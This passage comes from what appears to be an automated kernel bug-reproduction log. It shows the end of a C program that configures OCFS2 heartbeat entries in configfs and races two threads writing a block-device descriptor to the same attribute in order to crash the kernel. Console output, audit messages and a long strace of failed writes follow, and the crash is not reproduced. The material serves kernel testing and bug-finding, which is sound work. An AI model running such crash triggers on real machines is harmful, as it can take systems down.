        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}]

167/5 2026/09/04 20:53 action If
0m Args:
map[CompilerError:]

168/3 2026/09/04 20:53 action run-c-repro
2m Results:
map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[   61.683357][   T33] audit: type=1400 audit(1788555259.586:203): avc:  denied  { transition } for  pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.690905][   T33] audit: type=1400 audit(1788555259.586:204): avc:  denied  { noatsecure } for  pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.697902][   T33] audit: type=1400 audit(1788555259.586:205): avc:  denied  { rlimitinh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.704132][   T33] audit: type=1400 audit(1788555259.586:206): avc:  denied  { siginh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   64.085305][   T33] audit: type=1400 audit(1788555261.986:207): avc:  denied  { write } for  pid=5827 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.124375][   T33] audit: type=1400 audit(1788555262.026:208): avc:  denied  { write } for  pid=5830 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.194924][   T33] audit: type=1400 audit(1788555262.096:209): avc:  denied  { write } for  pid=5834 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.238075][   T33] audit: type=1400 audit(1788555262.136:210): avc:  denied  { write } for  pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:41941' (ED25519) to the list of known hosts.
[   64.577197][   T33] audit: type=1400 audit(1788555262.476:211): avc:  denied  { mounton } for  pid=5846 comm="syz-executor240" path="/sys/kernel/config" dev="configfs" ino=1116 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   64.586101][ T5846] audit: audit_backlog=65 > audit_backlog_limit=64
[   66.835840][   T33] kauditd_printk_skb: 76 callbacks suppressed
[   66.835849][   T33] audit: type=1400 audit(1788555264.736:286): avc:  denied  { write } for  pid=5867 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.917912][   T33] audit: type=1400 audit(1788555264.816:287): avc:  denied  { write } for  pid=5870 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.039560][   T33] audit: type=1400 audit(1788555264.936:288): avc:  denied  { write } for  pid=5873 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.117416][   T33] audit: type=1400 audit(1788555265.016:289): avc:  denied  { write } for  pid=5876 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.221783][   T33] audit: type=1400 audit(1788555265.116:290): avc:  denied  { write } for  pid=5879 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.304324][   T33] audit: type=1400 audit(1788555265.206:291): avc:  denied  { write } for  pid=5882 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[   71.554541][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[   71.557436][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor175894958

<...>
\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
